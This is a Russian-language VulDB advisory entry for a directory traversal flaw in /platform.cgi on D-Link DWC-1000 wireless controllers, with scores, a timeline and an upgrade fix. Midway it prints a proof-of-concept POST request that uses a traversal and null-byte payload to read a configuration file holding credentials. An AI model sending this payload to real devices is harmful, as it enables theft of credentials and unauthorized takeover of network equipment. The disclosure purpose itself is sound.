VDB-13245 · SAP10026 · SA58560

D-Link DWC-1000 до 4.2.0.6_WW /platform.cgi thispage обход каталога

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
5.3$0-$5k0.00

СводкаИнформация

Уязвимость была найдена в D-Link DWC-1000 до 4.2.0.6_WW. Она была оценена как критический. Неизвестная функция файла /platform.cgi вовлечена. Выполнение манипуляции с аргументом thispage приводит к обход каталога. Кроме того, имеется доступный эксплойт. Рекомендуется произвести апгрейд соответствующего компонента.

ПодробностиИнформация

Уязвимость была найдена в D-Link DWC-1000 до 4.2.0.6_WW. Она была оценена как критический. Неизвестная функция файла /platform.cgi вовлечена. Выполнение манипуляции с аргументом thispage приводит к обход каталога. Использование CWE для объявления проблемы приводит к тому, что CWE-22. Данная уязвимость была опубликована 10.05.2014 при поддержке Holistic Security Consulting с идентификатором SAP10026 в виде Консультация (Веб-сайт). Документ доступен для загрузки по адресу securityadvisories.dlink.com. Публичная публикация была согласована с вендором.

Доступна техническая информация. Данная уязвимость менее популярна, чем в среднем. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. В настоящее время текущая цена эксплойта может составлять примерно USD $0-$5k. Техника атаки по классификации MITRE ATT&CK: T1006. В уведомлении отмечается:

The DWC-10000 contains a flaw exploited by a null byte injection attack in the URL that allows directory/file/path traversal. All files on the system can be seen, including but not limited to /etc/shadow, /etc/passwd and temporary configuration files. A malicious user can successfully logon using the credentials stored within some of the files, which may lead to unauthorized configuration changes and/or the device becoming unstable.

Объявляется Доказательство концепции. Эксплойт можно скачать по ссылке securityadvisories.dlink.com. Уязвимость оставалась в статусе непубличного эксплойта нулевого дня не менее 46 дней. Как 0-day, оценочная цена на теневом рынке составляла примерно $5k-$25k. Исходный код эксплойта:

POST /platform.cgi HTTP/1.1
Host: 192.168.7.2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
 
thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fteamf1.cfg.ascii%00index.htm&Users.UserName=admin&Users.Password=b&button.login.Users.deviceStatus=Login

Обновление до 4.2.0.6b303_WW может устранить эту уязвимость. Новая версия готова к скачиванию на ftp2.dlink.com. Рекомендуется произвести апгрейд соответствующего компонента.

Уязвимость также задокументирована в других базах данных уязвимостей: Secunia (SA58560).

ПродуктИнформация

Поставщик

Имя

Версия

Лицензия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 5.9
VulDB Meta Temp Score: 5.3

VulDB Базовый балл: 5.9
VulDB Временная оценка: 5.3
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

ЭксплуатацияИнформация

Класс: обход каталога
CWE: CWE-22
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Язык программирования: 🔍
Скачать: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Обновление
Статус: 🔍

Время реакции: 🔍
0-дневное время: 🔍
Время экспозиции: 🔍
Задержка эксплуатации: 🔍

Обновление: DWC-1000 4.2.0.6b303_WW

ХронологияИнформация

25.03.2014 🔍
10.05.2014 +46 дни 🔍
10.05.2014 +0 дни 🔍
10.05.2014 +0 дни 🔍
16.05.2014 +6 дни 🔍
18.05.2014 +2 дни 🔍
02.04.2019 +1780 дни 🔍

ИсточникиИнформация

Поставщик: dlink.com

Консультация: SAP10026
Организация: Holistic Security Consulting
Статус: Подтверждённый
Скоординированный: 🔍

GCVE (VulDB): GCVE-100-13245
Secunia: 58560 - D-Link DWC-1000 "thispage" Directory Traversal Vulnerability, Not Critical

scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 18.05.2014 10:40
Обновлено: 02.04.2019 09:59
Изменения: 18.05.2014 10:40 (56), 02.04.2019 09:59 (5)
Завершенный: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Обсуждение

Комментариев пока нет. Языки: ru + be + en.

Пожалуйста, войдите в систему, чтобы прокомментировать.

◂ ПредыдущийОбзорДалее ▸

Do you need the next level of professionalism?

Upgrade your account now!